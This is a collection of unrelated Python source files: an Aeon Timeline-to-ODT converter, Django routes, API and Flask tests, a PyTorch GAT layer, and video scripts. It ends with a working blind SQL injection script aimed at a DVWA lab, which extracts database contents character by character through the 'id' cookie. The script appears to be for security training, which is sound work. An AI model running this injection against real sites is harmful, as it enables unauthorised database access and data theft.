fo:page-height="29.7cm" style:num-format="1" style:print-orientation="portrait" fo:margin-top="2cm" fo:margin-bottom="1cm" fo:margin-left="2.499cm" fo:margin-right="4.5cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> <style:page-layout style:name="Mpm5"> <style:page-layout-properties fo:page-width="22.721cm" fo:page-height="11.4cm" style:num-format="1" style:print-orientation="landscape" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:margin-left="0cm" fo:margin-right="0cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> <style:page-layout style:name="Mpm6"> <style:page-layout-properties fo:page-width="14.801cm" fo:page-height="21.001cm" style:num-format="1" style:print-orientation="portrait" fo:margin-top="2cm" fo:margin-bottom="2cm" fo:margin-left="2cm" fo:margin-right="2cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> <style:page-layout style:name="Mpm7"> <style:page-layout-properties fo:page-width="20.999cm" fo:page-height="29.699cm" style:num-format="1" style:print-orientation="portrait" fo:margin-top="2cm" fo:margin-bottom="2cm" fo:margin-left="2cm" fo:margin-right="2cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:footnote-sep style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> </office:automatic-styles> <office:master-styles> <style:master-page style:name="Standard" style:page-layout-name="Mpm1"> <style:footer> <text:p text:style-name="Footer"><text:page-number text:select-page="current">1</text:page-number></text:p> </style:footer> </style:master-page> <style:master-page style:name="First_20_Page" style:display-name="First Page" style:page-layout-name="Mpm2" style:next-style-name="Standard"/> <style:master-page style:name="Left_20_Page" style:display-name="Left Page" style:page-layout-name="Mpm3"/> <style:master-page style:name="Right_20_Page" style:display-name="Right Page" style:page-layout-name="Mpm4"/> <style:master-page style:name="Envelope" style:page-layout-name="Mpm5"/> <style:master-page style:name="Index" style:page-layout-name="Mpm6" style:next-style-name="Standard"/> <style:master-page style:name="Endnote" style:page-layout-name="Mpm7"/> </office:master-styles> </office:document-styles> ''' _fileHeader = OdtFile._CONTENT_XML_HEADER _fileFooter = OdtFile._CONTENT_XML_FOOTER def _get_characterMapping(self, crId): """Return a mapping dictionary for a character section. Positional arguments: crId -- str: character ID. Extends the superclass method. """ characterMapping = super()._get_characterMapping(crId) if self.characters[crId].aka: characterMapping['AKA'] = f' ("{self.characters[crId].aka}")' if self.characters[crId].fullName: characterMapping['FullName'] = f'/{self.characters[crId].fullName}' return characterMapping def _get_locationMapping(self, lcId): """Return a mapping dictionary for a location section. Positional arguments: lcId -- str: location ID. Extends the superclass method. """ locationMapping = super().get_locationMapping(lcId) if self.locations[lcId].aka: locationMapping['AKA'] = f' ("{self.locations[lcId].aka}")' return locationMapping class OdtFullSynopsis(OdtAeon): """ODT scene summaries file representation. Export a full synopsis. """ DESCRIPTION = 'Full synopsis' SUFFIX = '_full_synopsis' _partTemplate = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">$Title</text:h> ''' _chapterTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title</text:h> ''' _sceneTemplate = '''<text:p text:style-name="Text_20_body"><office:annotation> <dc:creator>scene title</dc:creator> <text:p>~ ${Title} ~</text:p> <text:p/> </office:annotation>$Desc</text:p> ''' _sceneDivider = '''<text:p text:style-name="Heading_20_4">* * *</text:p> ''' class OdtBriefSynopsis(OdtAeon): """ODT chapter summaries snf scene titles file representation. Export a brief synopsis. """ DESCRIPTION = 'Brief synopsis' SUFFIX = '_brief_synopsis' _partTemplate = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">$Desc</text:h> ''' _chapterTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Desc</text:h> ''' _sceneTemplate = '''<text:p text:style-name="Text_20_body">$Title</text:p> ''' class OdtChapterOverview(OdtAeon): """ODT part and chapter summaries file representation. Export a very brief synopsis. """ DESCRIPTION = 'Chapter overview' SUFFIX = '_chapter_overview' _partTemplate = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">$Desc</text:h> ''' _chapterTemplate = '''<text:p text:style-name="Text_20_body">$Desc</text:p> ''' class OdtCharacterSheets(OdtAeon): """ODT character descriptions file representation. Export a character sheet. """ DESCRIPTION = 'Character sheets' SUFFIX = '_character_sheets' _characterTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title$FullName$AKA</text:h> <text:p text:style-name="Text_20_body"><text:span text:style-name="Emphasis">$Tags</text:span></text:p> <text:p text:style-name="Text_20_body" /> <text:p text:style-name="Text_20_body">$Bio</text:p> <text:p text:style-name="Text_20_body" /> <text:p text:style-name="Text_20_body">$Goals</text:p> <text:p text:style-name="Text_20_body" /> <text:p text:style-name="Text_20_body">$Desc</text:p> <text:p text:style-name="Text_20_body" /> <text:p text:style-name="Text_20_body">$Notes</text:p> ''' class OdtLocationSheets(OdtAeon): """ODT location descriptions file representation. Export a location sheet. """ DESCRIPTION = 'Location sheets' SUFFIX = '_location_sheets' _locationTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title$AKA</text:h> <text:p text:style-name="Text_20_body"><text:span text:style-name="Emphasis">$Tags</text:span></text:p> <text:p text:style-name="Text_20_body" /> <text:p text:style-name="Text_20_body">$Desc</text:p> ''' class OdtReport(OdtAeon): """ODT scene summaries file representation. Export a full synopsis. """ DESCRIPTION = 'Project report' SUFFIX = '_report' _partTemplate = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">$Title – $Desc</text:h> ''' _chapterTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title – $Desc</text:h> ''' _sceneTemplate = '''<text:h text:style-name="Heading_20_3" text:outline-level="3">Scene $SceneNumber – ${Title}</text:h> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Tags: </text:span>$Tags</text:p> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Location: </text:span>$Locations</text:p> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Date/Time/Duration: </text:span>$ScDate $ScTime $Duration</text:p> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Participants: </text:span>$Characters</text:p> <text:p text:style-name="Text_20_body">$Desc</text:p> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Notes:</text:span>$Notes</text:p> ''' _characterSectionHeading = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">Characters</text:h> ''' _characterTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title$FullName$AKA</text:h> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Tags: </text:span>$Tags</text:p> <text:p text:style-name="Text_20_body">$Bio</text:p> <text:p text:style-name="Text_20_body">$Goals</text:p> <text:p text:style-name="Text_20_body">$Desc</text:p> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Notes: </text:span>$Notes</text:p> ''' _locationSectionHeading = '''<text:h text:style-name="Heading_20_1" text:outline-level="1">Locations</text:h> ''' _locationTemplate = '''<text:h text:style-name="Heading_20_2" text:outline-level="2">$Title$AKA</text:h> <text:p text:style-name="Text_20_body_20_indent"><text:span text:style-name="Strong_20_Emphasis">Tags: </text:span>$Tags</text:p> <text:p text:style-name="Text_20_body">$Desc</text:p> ''' class Aeon3odtConverter(YwCnvFf): """A converter for universal export from a yWriter 7 project. Overrides the superclass constants EXPORT_SOURCE_CLASSES, EXPORT_TARGET_CLASSES. """ EXPORT_SOURCE_CLASSES = [CsvTimeline3, JsonTimeline3] EXPORT_TARGET_CLASSES = [OdtFullSynopsis, OdtBriefSynopsis, OdtChapterOverview, OdtCharacterSheets, OdtLocationSheets, OdtReport, ] class Aeon3odtCnvUno(Aeon3odtConverter): """A converter for universal import and export. Public methods: export_from_yw(sourceFile, targetFile) -- Convert from yWriter project to other file format. Support yWriter 7 projects and most of the Novel subclasses that can be read or written by OpenOffice/LibreOffice. - No message in case of success when converting from yWriter. """ def export_from_yw(self, source, target): """Convert from yWriter project to other file format. Positional arguments: source -- YwFile subclass instance. target -- Any Novel subclass instance. Show only error messages. Overrides the superclass method. """ message = self.convert(source, target) if message.startswith(ERROR): self.ui.set_info_how(message) else: self.newFile = target.filePath from com.sun.star.awt.MessageBoxResults import OK, YES, NO, CANCEL from com.sun.star.awt.MessageBoxButtons import BUTTONS_OK, BUTTONS_OK_CANCEL, BUTTONS_YES_NO, BUTTONS_YES_NO_CANCEL, BUTTONS_RETRY_CANCEL, BUTTONS_ABORT_IGNORE_RETRY from com.sun.star.awt.MessageBoxType import MESSAGEBOX, INFOBOX, WARNINGBOX, ERRORBOX, QUERYBOX class UiUno(Ui): """UI subclass implementing a LibreOffice UNO facade.""" def ask_yes_no(self, text): result = msgbox(text, buttons=BUTTONS_YES_NO, type_msg=WARNINGBOX) return result == YES def set_info_how(self, message): """How's the converter doing?""" self.infoHowText = message if message.startswith(ERROR): message = message.split(ERROR, maxsplit=1)[1].strip() msgbox(message, type_msg=ERRORBOX) else: msgbox(message, type_msg=INFOBOX) INI_FILE = 'openyw.ini' CONFIG_PROJECT = 'aeon3yw' # cnvaeon uses the aeon3yw configuration file, if any. SETTINGS = dict( part_number_prefix='Part', chapter_number_prefix='Chapter', type_event='Event', type_character='Character', type_location='Location', type_item='Item', character_label='Participant', location_label='Location', item_label='Item', part_desc_label='Label', chapter_desc_label='Label', scene_desc_label='Summary', scene_title_label='Label', notes_label='Notes', tag_label='Tags', viewpoint_label='Viewpoint', character_bio_label='Summary', character_aka_label='Nickname', character_desc_label1='Characteristics', character_desc_label2='Traits', character_desc_label3='', location_desc_label='Summary', ) def open_src(suffix, newExt): """Open a yWriter project, create a new document and load it. Positional arguments: suffix -- str: filename suffix of the document to create. newExt -- str: file extension of the document to create. """ # Set last opened Aeon project as default (if existing). scriptLocation = os.path.dirname(__file__) inifile = uno.fileUrlToSystemPath(f'{scriptLocation}/{INI_FILE}') defaultFile = None config = ConfigParser() try: config.read(inifile) srcLastOpen = config.get('FILES', 'src_last_open') if os.path.isfile(srcLastOpen): defaultFile = uno.systemPathToFileUrl(srcLastOpen) except: pass # Ask for source file to open: srcFile = FilePicker(path=defaultFile) if srcFile is None: return sourcePath = uno.fileUrlToSystemPath(srcFile) __, aeonExt = os.path.splitext(sourcePath) converter = Aeon3odtCnvUno() extensions = [] for srcClass in converter.EXPORT_SOURCE_CLASSES: extensions.append(srcClass.EXTENSION) if not aeonExt in extensions: msgbox('Please choose a csv file exported by Aeon Timeline 3, or an .aeon file.', 'Import from Aeon timeline', type_msg=ERRORBOX) return # Store selected yWriter project as "last opened". newFile = srcFile.replace(aeonExt, f'{suffix}{newExt}') dirName, fileName = os.path.split(newFile) thisDir = uno.fileUrlToSystemPath(f'{dirName}/') lockFile = f'{thisDir}.~lock.{fileName}#' if not config.has_section('FILES'): config.add_section('FILES') config.set('FILES', 'src_last_open', uno.fileUrlToSystemPath(srcFile)) with open(inifile, 'w') as f: config.write(f) # Check whether the import file is already open in LibreOffice: if os.path.isfile(lockFile): msgbox(f'Please close "{fileName}" first.', 'Import from Aeon Timeline', type_msg=ERRORBOX) return workdir = os.path.dirname(sourcePath) # Read the aeon3yw configuration. iniFileName = f'{CONFIG_PROJECT}.ini' iniFiles = [] try: homeDir = str(Path.home()).replace('\\', '/') globalConfiguration = f'{homeDir}/.pyWriter/{CONFIG_PROJECT}/config/{iniFileName}' iniFiles.append(globalConfiguration) except: pass if not workdir: localConfiguration = f'./{iniFileName}' else: localConfiguration = f'{workdir}/{iniFileName}' iniFiles.append(localConfiguration) configuration = Configuration(SETTINGS) for iniFile in iniFiles: configuration.read(iniFile) # Open yWriter project and convert data. os.chdir(workdir) converter.ui = UiUno('Import from Aeon Timeline') kwargs = {'suffix': suffix} kwargs.update(configuration.settings) converter.run(sourcePath, **kwargs) if converter.newFile: desktop = XSCRIPTCONTEXT.getDesktop() desktop.loadComponentFromURL(newFile, "_blank", 0, ()) def get_chapteroverview(): '''Import a chapter overview from Aeon Timeline to a Writer document. ''' open_src(OdtChapterOverview.SUFFIX, OdtChapterOverview.EXTENSION) def get_briefsynopsis(): '''Import a brief synopsis from Aeon Timeline to a Writer document. ''' open_src(OdtBriefSynopsis.SUFFIX, OdtBriefSynopsis.EXTENSION) def get_fullsynopsis(): '''Import a full synopsis from Aeon Timeline to a Writer document. ''' open_src(OdtFullSynopsis.SUFFIX, OdtFullSynopsis.EXTENSION) def get_charactersheets(): '''Import character sheets from Aeon Timeline to a Writer document. ''' open_src(OdtCharacterSheets.SUFFIX, OdtCharacterSheets.EXTENSION) def get_locationsheets(): '''Import location sheets from Aeon Timeline to a Writer document. ''' open_src(OdtLocationSheets.SUFFIX, OdtLocationSheets.EXTENSION) def get_report(): '''Import a full report of the narrative from Aeon Timeline to a Writer document. ''' open_src(OdtReport.SUFFIX, OdtReport.EXTENSION)
python
""" Audio, voice, and telephony related modules. """
python
# -*- coding: utf-8 -*- from django.conf.urls import include, url from django.contrib import admin from django.views.generic import RedirectView from availability_app import views as avl_views admin.autodiscover() urlpatterns = [ ## primary app urls... url( r'^v1/(?P<id_type>.*)/(?P<id_value>.*)/$', avl_views.ezb_v1, name='ezb_v1_url' ), url( r'^v1_stats/$', avl_views.ezb_v1_stats, name='ezb_v1_stats_url' ), url( r'^v2/bib_items/(?P<bib_value>.*)/$', avl_views.v2_bib_items, name='v2_bib_items_url' ), url( r'^locations_and_statuses/$', avl_views.locations_and_statuses, name='locations_and_statuses_url' ), url( r'^admin/', include(admin.site.urls) ), ## demo urls... url( r'^async/$', avl_views.concurrency_test, name='async_url' ), url( r'^v2/bib_items_async/(?P<bib_value>.*)/$', avl_views.v2_bib_items_async, name='v2_bib_items_async_url' ), ## support urls... url( r'^info/$', avl_views.version, name='info_url' ), # historical url url( r'^version/$', avl_views.version, name='version_url' ), # newer url endpoint url( r'^error_check/$', avl_views.error_check, name='error_check_url' ), url( r'^$', RedirectView.as_view(pattern_name='info_url') ), ]
python
import responses from urllib.parse import urlencode from tests.util import random_str from tests.util import mock_http_response from binance.spot import Spot as Client mock_item = {"key_1": "value_1", "key_2": "value_2"} key = random_str() secret = random_str() params = { "asset": "BNB", "type": 1, "startTime": "1591142602820", "endTime": "1591142602820", "limit": 10, "recvWindow": 1000, } @mock_http_response( responses.GET, "/sapi/v1/sub-account/transfer/subUserHistory\\?" + urlencode(params), mock_item, 200, ) def test_sub_account_transfer_to_sub(): """Tests the API endpoint to transfer asset to sub account transfer history""" client = Client(key, secret) response = client.sub_account_transfer_sub_account_history(**params) response.should.equal(mock_item)
python
# -*- coding: utf-8 -*- # @Author: Bao # @Date: 2021-08-20 09:21:34 # @Last Modified time: 2022-01-19 09:03:35 import json import subprocess as sp from app import app import argparse def get_parser(): parser = argparse.ArgumentParser('PTZ-controller') parser.add_argument('--encode-app', '-ea', nargs='?', choices=['gstreamer', 'ffmpeg'], default='ffmpeg', const='ffmpeg', help='Application used to read, encode and generate hls stream' ) return parser # start flask app if __name__ == '__main__': with open("config.json", "r") as f: config = json.load(f) rtsp_str = config["rtsp_link"] parser = get_parser() args = parser.parse_args() hls_dir = "app/static/hls/" if args.encode_app == 'ffmpeg': print("FFMPEG is selected as encoding app") # Init FFMPEG player to convert RTSP stream to HLS # https://girishjoshi.io/post/ffmpeg-rtsp-to-hls/ command = ['ffmpeg', '-threads', '4', '-fflags', 'nobuffer', '-rtsp_transport', 'udp', '-i', rtsp_str, '-vsync', '0', '-copyts', '-vcodec', "copy", '-movflags', 'frag_keyframe+empty_moov', '-an', '-hls_flags', 'delete_segments+append_list', '-f', 'segment', '-reset_timestamps', '1', '-segment_wrap', '60', '-segment_list_flags', 'live', '-segment_time', '0.5', '-segment_list_size', '1', '-segment_format', 'mpegts', '-segment_list', '%sindex.m3u8' %hls_dir, '-segment_list_type', 'm3u8', '-segment_list_entry_prefix', hls_dir, '{}/%3d.ts'.format(hls_dir) ] else: print("Gstreamer is selected as encoding app") command = ['gst-launch-1.0', '-v' 'rtspsrc=%s' %rtsp_str, '!', 'rtph264depay', '!', 'nvv4lh264enc', 'max-performace=1', '!', 'nvvidconv', '!', 'videoconvert', '!', 'mpegtsmux', '!', 'hlssink', 'location=%s' %hls_dir, 'max-files=60', 'target-duration=5' ] proc = sp.Popen(command, stdout=sp.DEVNULL, stderr=sp.STDOUT) app.run(host="0.0.0.0", port=5000, debug=True)
python
import setuptools with open("README.md", "r") as f: long_description = f.read() setuptools.setup( name="pathway-finder", version="0.0.1", author="Paul Wambo", author_email="[email protected]", description="Genomic Pathway Miner Tool", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/poloarol/pathway-finder", packages=setuptools.find_packages(), classfiers=[ "Intended Audience :: Science/Research", "Intended Audience :: Developers", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Scientific/Engineering :: Information Analysis", ], )
python
import torch from torch import nn from .utils import add_remaining_self_loops, sum_over_neighbourhood class GATLayer(nn.Module): """ Inspired by both Aleksa Gordic's https://github.com/gordicaleksa/pytorch-GAT and PyTorch Geometric's GATConv layer, which we use as reference to test this implementation. This implementation follows the equations from the original GAT paper more faithfully, but will be less efficient than other optimised implementations. """ def __init__(self, in_features, out_features, num_heads, concat, dropout=0, add_self_loops=False, bias=False, const_attention=False): super(GATLayer, self).__init__() self.in_features = in_features self.out_features = out_features self.num_heads = num_heads self.concat = concat self.dropout = dropout self.add_self_loops = add_self_loops self.bias = bias self.const_attention = const_attention self.device = 'cuda' if torch.cuda.is_available() else 'cpu' # Weight matrix from paper self.W = nn.Linear(in_features=self.in_features, out_features=self.num_heads*self.out_features, bias=False) # Attentional mechanism from paper # self.a = nn.Parameter(torch.Tensor(1, self.num_heads, (2*self.out_features))) # NH different matrices of size 2*F_OUT if not const_attention: self.a = nn.Linear(in_features=self.num_heads*(2*self.out_features), out_features=self.num_heads, bias=False) # Attention coefficients if self.dropout > 0: self.dropout_layer = nn.Dropout(p=self.dropout) if self.bias: self.bias_param = nn.Parameter(torch.Tensor(self.num_heads * self.out_features)) self.normalised_attention_coeffs = None self.reset_parameters() def forward(self, x, edge_index, return_attention_weights=False): """ Compute attention-weighted representations of all nodes in x :param x: Feature matrix of size (N, in_features), where N is the number of nodes :param edge_index: Edge indices of size (2, E), where E is the number of edges. The edges point from the first row to second row, i.e. edge i = [231, 100] will be an edge that points from 231 to 100. :param return_attention_weights: Return a tuple (out, (edge_index, normalised_attention_coeffs)) :return: New node representations of size (N, num_heads*out_features), optionally with attention coefficients """ if self.add_self_loops: edge_index = add_remaining_self_loops(edge_index) N = x.size(0) E = edge_index.size(1) source_edges, target_edges = edge_index # Dropout (1) on input features is applied outside of the layer # Transform features nodes_transformed = self.W(x) # (N, F_IN) -> (N, NH*F_OUT) nodes_transformed = nodes_transformed.view(N, self.num_heads, self.out_features) # -> (N, NH, F_OUT) # Dropout was applied here in original papers code, but not specified in paper # Perform attention over neighbourhoods. Done in naive fashion (i.e. compute attention for all nodes) source_transformed = nodes_transformed[source_edges] # shape: (E, NH, F_OUT) target_transformed = nodes_transformed[target_edges] # shape: (E, NH, F_OUT) assert target_transformed.size() == (E, self.num_heads, self.out_features), f"{target_transformed.size()} != {(E, self.num_heads, self.out_features)}" if not self.const_attention: # Equation (1) attention_pairs = torch.cat([source_transformed, target_transformed], dim=-1) # shape: (E, NH, 2*F_OUT) # Trying attention as a tensor # attention_weights = (self.a * attention_pairs).sum(dim=-1) # Calculate dot product over last dimension (the output features) to get (E, NH) # (E, NH, 2*F_OUT) -> (E, NH*(2*F_OUT)): self.a expects an input of size (NH*(2*F_OUT)) attention_pairs = attention_pairs.view(E, self.num_heads*(2*self.out_features)) attention_weights = self.a(attention_pairs) # shape: (E, NH*(2*F_OUT)) -> (E, NH) # We had to cap the range of logits because they were going to infinity on PPI attention_weights = attention_weights - attention_weights.max() attention_weights = nn.LeakyReLU()(attention_weights) assert attention_weights.size() == (E, self.num_heads), f"{attention_weights.size()} != {(E, self.num_heads)}" else: # Setting to constant attention, see what happens # If attention_weights = 0, then e^0 = 1 so the exponentiated attention weights will = 1 attention_weights = torch.zeros((E, self.num_heads), device=self.device) # Softmax over neighbourhoods: Equation (2)/(3) attention_exp = attention_weights.exp() # Calculate the softmax denominator for each neighbourhood (target): sum attention exponents for each neighbourhood # output shape: (N, NH) attention_softmax_denom = sum_over_neighbourhood( values=attention_exp, neighbourhood_indices=target_edges, aggregated_shape=(N, self.num_heads), ) # Broadcast back up to (E,NH) so that we can calculate softmax by dividing each edge by denominator attention_softmax_denom = torch.index_select(attention_softmax_denom, dim=0, index=target_edges) # normalise attention coeffs using a softmax operator. # Add an extra small number (epsilon) to prevent underflow / division by zero normalised_attention_coeffs = attention_exp / (attention_softmax_denom + 1e-8) # shape: (E, NH) self.normalised_attention_coeffs = normalised_attention_coeffs # Save attention weights # Dropout (3): on normalized attention coefficients normalised_attention_coeffs_drop = normalised_attention_coeffs if self.dropout > 0: normalised_attention_coeffs_drop = self.dropout_layer(normalised_attention_coeffs) # Inside parenthesis of Equation (4): # Multiply all nodes in neighbourhood (with incoming edges) by attention coefficients weighted_neighbourhood_features = normalised_attention_coeffs_drop.view(E, self.num_heads, 1) * source_transformed # target_transformed # shape: (E, NH, F_OUT) * (E, NH, 1) -> (E, NH, F_OUT) assert weighted_neighbourhood_features.size() == (E, self.num_heads, self.out_features) # Equation (4): # Get the attention-weighted sum of neighbours. Aggregate again according to target edge. output_features = sum_over_neighbourhood( values=weighted_neighbourhood_features, neighbourhood_indices=target_edges, aggregated_shape=(N, self.num_heads, self.out_features), ) # Equation (5)/(6) if self.concat: output_features = output_features.view(-1, self.num_heads*self.out_features) # self.num_heads*self.out_features else: output_features = torch.mean(output_features, dim=1) # Aggregate over the different heads if self.bias: output_features += self.bias_param if return_attention_weights: return output_features, (edge_index, normalised_attention_coeffs) return output_features def reset_parameters(self): nn.init.xavier_uniform_(self.W.weight) if not self.const_attention: nn.init.xavier_uniform_(self.a.weight) if self.bias: nn.init.zeros_(self.bias_param) # Can also init bias=0 if on if __name__ == "__main__": print("Debugging: Playing with Cora dataset") from torch_geometric.datasets import Planetoid dataset = Planetoid(root='/tmp/cora', name='Cora') print(dataset[0]) # The entire graph is stored in dataset[0] model = GATLayer(in_features=1433, out_features=7, num_heads=3, concat=False) # just playing around with 3 heads and 2 output features out = model.forward(dataset[0].x, dataset[0].edge_index) print(out.size()) print(out)
python
import unittest import datetime import json from app import create_app class TestUser(unittest.TestCase): def setUp(self): """ Initializes app""" self.app = create_app('testing')[0] self.client = self.app.test_client() self.user_item = { "first_name" : "David", "last_name" : "Mwangi", "othername" : "Dave", "email" : "[email protected]", "phoneNumber" : "+254729710290", "username" : "jjj", "password": "abc123@1A", "confirm_password": "abc123@1A" } def post_req(self, path='api/v1/auth/signup', data={}): """ This function utilizes the test client to send POST requests """ data = data if data else self.user_item res = self.client.post( path, data=json.dumps(data), content_type='application/json' ) return res def get_req(self, path): """ This function utilizes the test client to send GET requests """ res = self.client.get(path) return res def test_fetch_all_user(self): """ This method tests that fetch all users works correctly """ payload = self.get_req('api/v1/users') self.assertEqual(payload.status_code, 200) def test_sign_up_user(self): """ This method tests that sign up users route works correctly """ # test successful registration user = { "first_name" : "Josh", "last_name" : "Anderson", "othername" : "Miguel", "email" : "[email protected]", "phoneNumber" : "+254754734345", "username" : "josh", "password": "abc123@1A", "confirm_password": "abc123@1A" } payload = self.post_req(data=user) self.assertEqual(payload.json['status'], 201) self.assertTrue(payload.json['auth_token']) self.assertEqual(payload.json['message'], "[email protected] registered successfully") # test missing fields user = { "last_name" : "Mwangi", "othername" : "Dave", "email" : "[email protected]", "phoneNumber" : "+254729710290", "username" : "jjj", "password": "abc123@1A", "confirm_password": "abc123@1A" } payload2 = self.post_req(data=user) self.assertEqual(payload2.status_code, 400) self.assertEqual(payload2.json['error'], 'You missed the first_name key, value pair') # test invalid data user2 = { **self.user_item } user2['phoneNumber'] = "0729abc" payload3 = self.post_req(data=user2) self.assertEqual(payload3.status_code, 422) self.assertEqual(payload3.json['error'], 'Use valid numbers for phone number') def test_log_in_user(self): """ This method tests that the log in user route works correctly """ # test successful log in user = { "email": self.user_item['email'], "password": self.user_item['password'] } payload4 = self.post_req(path='api/v1/auth/login', data=user) self.assertEqual(payload4.status_code, 201) self.assertTrue(payload4.json['auth_token']) self.assertEqual(payload4.json['message'], "[email protected] has been successfully logged in") user4 = { "email": "[email protected]", "password": "abc4A#@" } payload2 = self.post_req(path='api/v1/auth/login', data=user4) self.assertEqual(payload2.status_code, 401) self.assertEqual(payload2.json['error'], "You entered wrong information. Please check your credentials or try creating an account first!") # test missing field user1 = { "password": self.user_item['password'] } payload = self.post_req(path='api/v1/auth/login', data=user1) self.assertEqual(payload.status_code, 400) # test invalid email user2 = { **user } user2['email'] = "jjjdemo.com" payload3 = self.post_req(path='api/v1/auth/login', data=user2) self.assertEqual(payload3.status_code, 422) self.assertEqual(payload3.json['error'], "Invalid email address!")
python
import cv2 videoCapture = cv2.VideoCapture('MyInputVid.avi') fps = videoCapture.get(cv2.cv.CV_CAP_PROP_FPS) size = (int(videoCapture.get(cv2.cv.CV_CAP_PROP_FRAME_WIDTH)), int(videoCapture.get(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT))) videoWriter = cv2.VideoWriter( 'MyOutputVid.avi', cv2.cv.CV_FOURCC('I','4','2','0'), fps, size) success, frame = videoCapture.read() while success: # Loop until there are no more frames. videoWriter.write(frame) success, frame = videoCapture.read()
python
""" `version` command test module """ from tests.utils import GefUnitTestGeneric, gdb_run_cmd class VersionCommand(GefUnitTestGeneric): """`version` command test module""" cmd = "version" def test_cmd_version(self): res = gdb_run_cmd(self.cmd) self.assertNoException(res)
python
import home from graphite_feeder.handler.event.appliance.thermostat.setpoint import ( Handler as Parent, ) class Handler(Parent): KLASS = home.appliance.thermostat.presence.event.keep.setpoint.Event TITLE = "Setpoint maintenance(°C)"
python
from flask import request, make_response from tests import app @app.route("/cookie_file") def cookie_file(): assert request.cookies['cookie1'] == 'valueA' return ''
python
#!/usr/bin/env python3 # App: DVWA # Security setting: high # Attack: Linear search boolean-based blind SQL injection (VERY SLOW) import requests import string import sys import urllib urlencode = urllib.parse.quote def loop_inject(original_inject): letters = ''.join(string.ascii_letters + string.digits + string.punctuation) for char in letters: edit_inject = original_inject.replace("CHAR", str(ord(char))) burp_url = "http://lab/vulnerabilities/sqli_blind/" burp_cookies = {"id": "{}".format(urlencode(edit_inject)), # injection point "PHPSESSID": "k7vd7flg302jidh4u4q3lih906", # change this "security": "high"} burp_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://lab/vulnerabilities/sqli_blind/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} burp_proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"} try: r = requests.get(burp_url, headers=burp_headers, cookies=burp_cookies, timeout=5.0) #, proxies=burp_proxy) # uncomment if you need to use burp except: continue status_code = r.status_code if (status_code == 200): return char return "lflf" def main(): while True: query = input("sql> ") if "quit" in query: sys.exit(-1) for i in range(1,500): # Good injection: 1' AND ascii(substring(version(),1,1))=49;# original_inject = str("1' AND ASCII(SUBSTRING(({}),{},1))=CHAR#".format(query, i)) get_char = str(loop_inject(original_inject)) sys.stdout.write(get_char) sys.stdout.flush() if loop_inject(original_inject) == "lflf": break if __name__ in "__main__": print("[+] DVWA Blind SQLi High") main()
python
